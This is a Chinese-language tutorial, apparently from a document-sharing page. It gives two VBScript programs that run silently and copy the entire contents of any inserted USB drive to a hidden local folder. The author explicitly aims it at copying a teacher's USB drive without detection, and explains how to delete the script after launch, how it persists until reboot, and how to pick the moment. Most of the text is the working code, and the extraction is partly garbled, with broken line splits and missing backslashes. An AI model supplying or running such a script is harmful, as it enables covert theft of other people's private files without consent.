1、U 盘插入自动复制程序建立一个文本文档，WIN+R 里面打 NOTEPAD ，或者自己新建一个都一样把下面的代码复制进去set fso=createobject(“scripting.filesystemobject“)set ws=createobject(“wscript.shell“)on error resume nextdowscript.sleep 1000if fso.driveexists(“U 盘的盘符“) thenfso.copyfile “U 盘的盘符加*号“,“要复制到的目录 “fso.copyfolder “U 盘的盘符加*号“,“要复制到的目录“wscript.sl
2、eep 20000end ifloop注意标颜色的地方要自己改蓝色的就是要复制到的目录，比如要复制到 C 盘 USB 文件夹里，则用C:USB代替蓝色部分，注意大小写，同时必须确保 USB 这个文件 夹存在。红色的是 U 盘的盘符，比如新插进去的 U 盘是 E 盘，则用 e:*代替红色部分，F 盘就是 f:*，第一个 U 盘的盘符，这个不要*号， 后 2 个切记不要漏掉*这个符号。注意和第一个的区别复制好也改好后保存文件就 OK 了，然后改一下这个文件的名字，最好使用英文的，然后后缀改成.VBS，原来是.TXT 的，如果后缀没哟显示，则先打开我的电脑，在菜单栏里找到，工具文件夹选项，在查看标签
3、里，有一个隐藏已知文件类型的扩展名，把勾勾去掉就会显示出来后缀了。后缀改好以后， 运行这个文件，就 OK 了。同时你可以把这个文件删除掉，它已经驻留内存了，重启以后这个东西就不会再出现了，老师绝对发现不了要停止这个东西，在任务管理器里面 结束进程 WScript.exe 就可以了。这个软件学过编程的都应该会看得懂有没有恶意代码。另外我不是计算机专业的，这个东西目前对插 N 个 U 盘只会复制第一个，对插移动硬盘会全部复制要接近电脑请在上课之前，一般老师怕麻烦不会去重启的。更新：现在没空弄这个，有些人弄不来 我现在更新了一下代码，复制下面的所有东西到一个文本文件，改名为 XX.VBS 使用即可s
4、et fso=createobject(“scripting.filesystemobject“) set ws=createobject(“wscript.shell“) dim USB, file, folder, files USB=inputbox(“请输入 U 盘的盘符“&Chr(10)&“如插入的 U 盘为 F 盘，则输入 F“,“插入的 U 盘盘符“,“F“) folder=inputbox(“请输入复制到的文件夹“&Chr(10)&“ 如想复制到 D 盘，请输入 D:“,“请输入复制到的文件夹“,“C:USB“) files=inputbox(“请输入要复制的文件类型“&Chr
5、(10)&“如要复制 EXCEL 文件，输入 xls；默认为全部类型“,“请输入要复制的文件类型 “,“ALL“) USB=USB & “:“ folder=folder & “ if files=“ALL“then file=USB & “*“ else file=USB & “*.“ & files end if if FSO.FolderExists(folder) then else FSO.CreateFolder(folder) end if on error resume next do wscript.sleep 1000 if fso.driveexists(USB) then fso.copyfile file,folder fso.copyfolder file,folder wscript.sleep 20000 end if loop红色部分全部复制到一个文本文件，然后保存，后缀改成.VBS 即可
